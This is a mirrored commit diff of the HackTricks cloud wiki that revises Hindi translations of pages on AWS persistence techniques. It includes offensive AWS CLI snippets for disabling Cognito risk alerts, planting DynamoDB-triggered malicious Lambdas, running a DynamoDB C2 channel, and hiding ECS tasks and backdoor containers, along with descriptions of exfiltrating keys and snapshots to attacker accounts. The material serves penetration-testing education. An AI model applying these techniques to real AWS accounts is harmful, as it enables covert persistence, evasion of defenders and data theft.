mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-04 16:57:26 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -14,12 +14,12 @@
|
||||
|
||||
Cognito एक सेवा है जो अनधिकृत और अधिकृत उपयोगकर्ताओं को भूमिकाएँ देने और उपयोगकर्ताओं के एक निर्देशिका को नियंत्रित करने की अनुमति देती है। कुछ स्थिरता बनाए रखने के लिए कई विभिन्न कॉन्फ़िगरेशन को बदला जा सकता है, जैसे:
|
||||
|
||||
- **एक उपयोगकर्ता पूल** जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है, को एक पहचान पूल में जोड़ना
|
||||
- एक **IAM भूमिका को अनधिकृत पहचान पूल को देना और बेसिक ऑथ फ्लो की अनुमति देना**
|
||||
- या एक **अधिकृत पहचान पूल** में यदि हमलावर लॉगिन कर सकता है
|
||||
- **एक User Pool जोड़ना** जिसे एक Identity Pool में उपयोगकर्ता द्वारा नियंत्रित किया जाता है
|
||||
- एक **IAM भूमिका देना** एक अनधिकृत Identity Pool को और Basic auth flow की अनुमति देना
|
||||
- या एक **अधिकृत Identity Pool** को यदि हमलावर लॉगिन कर सकता है
|
||||
- या दिए गए भूमिकाओं के **अनुमतियों में सुधार करना**
|
||||
- **विशेषताएँ नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से बनाना, सत्यापित करना और प्रिवेस्क करना** एक **उपयोगकर्ता पूल** में
|
||||
- **बाहरी पहचान प्रदाताओं** को एक उपयोगकर्ता पूल या एक पहचान पूल में लॉगिन करने की अनुमति देना
|
||||
- **Attributes नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से Create, verify & privesc** एक **User Pool** में
|
||||
- **बाहरी Identity Providers को** एक User Pool या एक Identity Pool में लॉगिन करने की अनुमति देना
|
||||
|
||||
इन क्रियाओं को कैसे करना है, यह देखें
|
||||
|
||||
@@ -29,11 +29,11 @@ Cognito एक सेवा है जो अनधिकृत और अधि
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI देखें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए:
|
||||
इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI की जांच करें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
डिफ़ॉल्ट रूप से यह अक्षम है:
|
||||
डिफ़ॉल्ट रूप से यह अक्षम है:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### DynamoDB ट्रिगर्स के साथ Lambda बैकडोर
|
||||
|
||||
DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब कोई आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है।
|
||||
DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब एक आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है।
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
@@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
धारण बनाए रखने के लिए, हमलावर DynamoDB तालिका में आइटम बना या संशोधित कर सकता है, जो दुर्भावनापूर्ण Lambda फ़ंक्शन को ट्रिगर करेगा। इससे हमलावर को Lambda फ़ंक्शन के साथ सीधे इंटरैक्शन के बिना AWS खाते के भीतर कोड निष्पादित करने की अनुमति मिलती है।
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
### DynamoDB को C2 चैनल के रूप में
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
एक हमलावर DynamoDB तालिका का **कमांड और नियंत्रण (C2) चैनल** के रूप में उपयोग कर सकता है, आइटम बनाकर जिनमें कमांड होते हैं और समझौता किए गए उदाहरणों या Lambda फ़ंक्शंस का उपयोग करके इन कमांड को लाने और निष्पादित करने के लिए।
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
@@ -54,6 +54,6 @@ aws dynamodb put-item \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
संपर्कित उदाहरण या लैम्ब्डा फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को संपर्कित संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है।
|
||||
समझौता किए गए उदाहरण या Lambda फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को समझौता किए गए संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,20 +14,20 @@
|
||||
|
||||
यदि एक रक्षक पाता है कि एक **EC2 उदाहरण से समझौता किया गया था**, तो वह शायद **नेटवर्क** को **आइसोलेट** करने की कोशिश करेगा। वह एक स्पष्ट **Deny NACL** के साथ ऐसा कर सकता है (लेकिन NACLs पूरे सबनेट को प्रभावित करते हैं), या **सुरक्षा समूह को बदलकर** **किसी भी प्रकार के इनबाउंड या आउटबाउंड** ट्रैफ़िक की अनुमति नहीं देता।
|
||||
|
||||
यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** था, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को नहीं मारा जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**।**
|
||||
यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** है, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को समाप्त नहीं किया जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** के कारण।**
|
||||
|
||||
### EC2 जीवनचक्र प्रबंधक
|
||||
|
||||
यह सेवा **AMIs और स्नैपशॉट्स** के **निर्माण को शेड्यूल** करने की अनुमति देती है और यहां तक कि **उन्हें अन्य खातों के साथ साझा** भी कर सकती है।\
|
||||
एक हमलावर **हर सप्ताह सभी छवियों या सभी वॉल्यूम्स के AMIs या स्नैपशॉट्स** का **उत्पादन** कॉन्फ़िगर कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है।
|
||||
एक हमलावर **हर सप्ताह** सभी छवियों या सभी वॉल्यूम के **AMIs या स्नैपशॉट्स** के **उत्पादन को कॉन्फ़िगर** कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है।
|
||||
|
||||
### अनुसूचित उदाहरण
|
||||
|
||||
यह दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से उदाहरणों को चलाने के लिए शेड्यूल करना संभव है। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है।
|
||||
यह संभव है कि उदाहरणों को दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से चलाने के लिए शेड्यूल किया जाए। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है।
|
||||
|
||||
### स्पॉट फ़्लीट अनुरोध
|
||||
|
||||
स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष के लिए एक छोटा स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ।
|
||||
स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष** के लिए एक **छोटी स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ।
|
||||
|
||||
### बैकडोर उदाहरण
|
||||
|
||||
@@ -41,7 +41,7 @@
|
||||
|
||||
- उपयोग किए गए AMI को बैकडोर करें
|
||||
- उपयोगकर्ता डेटा को बैकडोर करें
|
||||
- कुंजी जोड़ी को बैकडोर करें
|
||||
- की जोड़ी को बैकडोर करें
|
||||
|
||||
### VPN
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे कि Amazon ECS या EKS, में चुपचाप तैनात कर सकता है।
|
||||
एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे Amazon ECS या EKS, में चुपचाप तैनात कर सकता है।
|
||||
|
||||
### Repository Policy
|
||||
|
||||
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि ECR को उपयोगकर्ताओं के पास **अनुमति** होनी चाहिए कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **तब तक जब तक वे एक रजिस्ट्री में प्रमाणित नहीं हो सकते** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल नहीं कर सकते।
|
||||
> ध्यान दें कि ECR को उपयोगकर्ताओं के लिए **अनुमति** की आवश्यकता होती है कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **इससे पहले कि वे किसी रजिस्ट्री में प्रमाणित हो सकें** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल कर सकें।
|
||||
|
||||
### रजिस्ट्री नीति और क्रॉस-खाता पुनरुत्पादन
|
||||
### रजिस्ट्री नीति और क्रॉस-खाता प्रतिकृति
|
||||
|
||||
एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से पुनरुत्पादित करना संभव है, जहां आपको **बाहरी खाते** को इंगित करने की आवश्यकता है जहां आप रजिस्ट्री को पुनरुत्पादित करना चाहते हैं।
|
||||
एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जिसमें आपको क्रॉस-खाता प्रतिकृति को कॉन्फ़िगर करना होगा, जहाँ आपको **बाहरी खाते** को इंगित करना होगा जहाँ आप रजिस्ट्री को प्रतिकृत करना चाहते हैं।
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
पहले, आपको बाहरी खाते को रजिस्ट्री पर पहुंच प्रदान करने की आवश्यकता है एक **रजिस्ट्री नीति** के साथ जैसे:
|
||||
पहले, आपको रजिस्ट्री पर बाहरी खाते को **रजिस्ट्री नीति** के माध्यम से पहुंच प्रदान करनी होगी जैसे:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
एक हमलावर Amazon EventBridge का उपयोग करके **एक दुर्भावनापूर्ण कार्य को नियमित रूप से निष्पादित करने के लिए शेड्यूल करने के लिए एक छिपा हुआ आवधिक ECS कार्य बना सकता है**। यह कार्य अन्वेषण कर सकता है, डेटा को बाहर निकाल सकता है, या AWS खाते में स्थिरता बनाए रख सकता है।
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
@@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
एक हमलावर एक **छिपा हुआ बैकडोर कंटेनर** को एक मौजूदा ECS टास्क परिभाषा में जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है।
|
||||
एक हमलावर एक मौजूदा ECS टास्क परिभाषा में एक **छिपा हुआ बैकडोर कंटेनर** जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है।
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
@@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को अक्षम करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है।
|
||||
एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को बंद करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है।
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - EFS Persistence
|
||||
# AWS - EFS स्थिरता
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,10 +12,10 @@
|
||||
|
||||
### संसाधन नीति / सुरक्षा समूहों को संशोधित करें
|
||||
|
||||
**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को बनाए रखने का प्रयास कर सकते हैं।
|
||||
**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को स्थायी बनाने का प्रयास कर सकते हैं।
|
||||
|
||||
### एक्सेस पॉइंट बनाएं
|
||||
### पहुँच बिंदु बनाएँ
|
||||
|
||||
आप **एक्सेस पॉइंट बना सकते हैं** (जिसमें `/` पर रूट एक्सेस हो) जिसे एक सेवा से एक्सेस किया जा सकता है जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थायीता** लागू की है।
|
||||
आप **एक पहुँच बिंदु बना सकते हैं** (जिसमें `/` पर रूट पहुँच हो) जिसे एक सेवा से पहुँचा जा सके जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थिरता** लागू की है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -18,16 +18,16 @@ AWS खाते के अंदर स्थिरता बनाए रख
|
||||
|
||||
एक हमलावर S3 repo के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपने बैकडोर और अपेक्षित कोड को निष्पादित करे।
|
||||
|
||||
### नया बैकडोर संस्करण
|
||||
### नया बैकडोर वाला संस्करण
|
||||
|
||||
वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर संस्करण तैनात कर सकता है।
|
||||
वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर वाला संस्करण तैनात कर सकता है।
|
||||
|
||||
### कस्टम रिसोर्स लाइफसाइकिल हुक का दुरुपयोग
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को निकालने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**।
|
||||
Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को एक्सफिल्ट्रेट करने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**।
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
|
||||
@@ -17,7 +17,7 @@
|
||||
- एक्सेस कुंजी बनाएं (नए उपयोगकर्ता या सभी उपयोगकर्ताओं की)
|
||||
- नियंत्रित उपयोगकर्ताओं/समूहों को अतिरिक्त अनुमतियाँ दें (संलग्न नीतियाँ या इनलाइन नीतियाँ)
|
||||
- MFA को निष्क्रिय करें / अपना खुद का MFA उपकरण जोड़ें
|
||||
- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर नीचे STS स्थिरता में अधिक)
|
||||
- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर अधिक जानकारी नीचे STS स्थिरता में)
|
||||
|
||||
### बैकडोर भूमिका ट्रस्ट नीतियाँ
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
### शाश्वत अनुदान
|
||||
|
||||
अनुदान किसी विशेष कुंजी पर एक प्रमुख को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं।
|
||||
अनुदान एक विशिष्ट कुंजी पर किसी प्रिंसिपल को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं।
|
||||
|
||||
इसलिए, एक उपयोगकर्ता के पास सभी अनुमतियों के साथ 10 अनुदान हो सकते हैं। हमलावर को इसे लगातार मॉनिटर करना चाहिए। और यदि किसी बिंदु पर 1 अनुदान हटा दिया जाता है, तो अन्य 10 उत्पन्न किए जाने चाहिए।
|
||||
|
||||
@@ -32,6 +32,6 @@ aws kms create-grant \
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> एक ग्रांट केवल इस से अनुमति दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
> एक ग्रांट केवल इस से अनुमतियाँ दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
यह संभव है कि **कोई लेयर पेश की जाए/बैकडोर किया जाए ताकि जब लैम्ब्डा निष्पादित हो, तो मनमाना कोड चल सके**:
|
||||
यह **कोई भी कोड निष्पादित करने के लिए एक लेयर को पेश/backdoor करना** संभव है जब लैम्ब्डा को एक गुप्त तरीके से निष्पादित किया जाता है:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Lambda Layers का दुरुपयोग करते हुए, यह भी संभव है कि एक्सटेंशन का दुरुपयोग किया जाए और लैम्ब्डा में स्थायी रूप से बने रहें, लेकिन साथ ही अनुरोधों को चुराएं और संशोधित करें।
|
||||
Lambda Layers का दुरुपयोग करते हुए, यह एक्सटेंशन का भी दुरुपयोग करना संभव है और लैम्ब्डा में स्थायी रहना, लेकिन अनुरोधों को चुराना और संशोधित करना भी संभव है।
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,34 +28,34 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
यह संभव है कि विभिन्न लैम्ब्डा क्रियाओं (जैसे कि इनवोक या कोड अपडेट) के लिए बाहरी खातों को पहुंच प्रदान की जाए:
|
||||
यह बाहरी खातों को विभिन्न लैम्ब्डा क्रियाओं (जैसे invoke या update code) तक पहुंच प्रदान करना संभव है:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
एक Lambda में **विभिन्न संस्करण हो सकते हैं** (प्रत्येक संस्करण के साथ अलग कोड)।\
|
||||
फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम बना सकते हैं** और प्रत्येक को अलग वजन सेट कर सकते हैं।\
|
||||
इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह छिपा रहे।
|
||||
एक Lambda में **विभिन्न संस्करण** हो सकते हैं (प्रत्येक संस्करण के साथ अलग कोड)।\
|
||||
फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम** बना सकते हैं और प्रत्येक को विभिन्न वजन सेट कर सकते हैं।\
|
||||
इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह गुप्त रह सके।
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Lambda का मूल कोड कॉपी करें
|
||||
2. **मूल कोड को बैकडोर करते हुए एक नया संस्करण बनाएं** (या केवल दुर्भावनापूर्ण कोड के साथ)। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें**
|
||||
2. **मूल कोड (या केवल दुर्भावनापूर्ण कोड) को बैकडोर करते हुए एक नया संस्करण बनाएं**। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें**
|
||||
1. कोड निष्पादित करने के लिए लैम्ब्डा से संबंधित API गेटवे को कॉल करें
|
||||
3. **मूल कोड के साथ एक नया संस्करण बनाएं**, उस **संस्करण को प्रकाशित करें** और **$LATEST पर तैनात करें**।
|
||||
1. यह पिछले संस्करण में बैकडोर कोड को छिपा देगा
|
||||
4. API गेटवे पर जाएं और **एक नया POST विधि बनाएं** (या कोई अन्य विधि चुनें) जो लैम्ब्डा के बैकडोर संस्करण को निष्पादित करेगा: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. अंतिम :1 को ध्यान में रखें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)।
|
||||
1. अंतिम :1 को नोट करें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)।
|
||||
5. बनाए गए POST विधि का चयन करें और क्रियाओं में **`Deploy API`** चुनें
|
||||
6. अब, जब आप **POST के माध्यम से कार्य को कॉल करेंगे, तो आपका बैकडोर** सक्रिय होगा
|
||||
6. अब, जब आप **POST के माध्यम से कार्य को कॉल करते हैं, तो आपका बैकडोर** सक्रिय होगा
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
यह तथ्य कि आप **लैम्ब्डा कार्यों को तब चला सकते हैं जब कुछ होता है या जब कुछ समय बीतता है** लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\
|
||||
यहां आपके **AWS में उपस्थिति को अधिक छिपाने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**।
|
||||
यह तथ्य कि आप **जब कुछ होता है या जब कुछ समय बीतता है तब लैम्ब्डा कार्यों को चलाने** के लिए बना सकते हैं, लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\
|
||||
यहां आपके **AWS में अधिक गुप्तता से रहने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**।
|
||||
|
||||
- हर बार जब एक नया उपयोगकर्ता बनाया जाता है, तो लैम्ब्डा एक नया उपयोगकर्ता कुंजी उत्पन्न करता है और इसे हमलावर को भेजता है।
|
||||
- हर बार जब एक नई भूमिका बनाई जाती है, तो लैम्ब्डा समझौता किए गए उपयोगकर्ताओं को भूमिका मानने की अनुमति देता है।
|
||||
|
||||
@@ -1,38 +1,38 @@
|
||||
# AWS - Abusing Lambda Extensions
|
||||
# AWS - Lambda एक्सटेंशनों का दुरुपयोग
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Extensions
|
||||
## Lambda एक्सटेंशन्स
|
||||
|
||||
Lambda extensions कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाते हैं। ये एक्सटेंशन [.zip आर्काइव का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल होते हैं, और दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**।
|
||||
Lambda एक्सटेंशन्स कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाती हैं। ये एक्सटेंशन्स [.zip आर्काइव के माध्यम से Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के जरिए जोड़ी जाती हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल की जाती हैं, और ये दो मोड में कार्य करती हैं: **आंतरिक** और **बाहरी**।
|
||||
|
||||
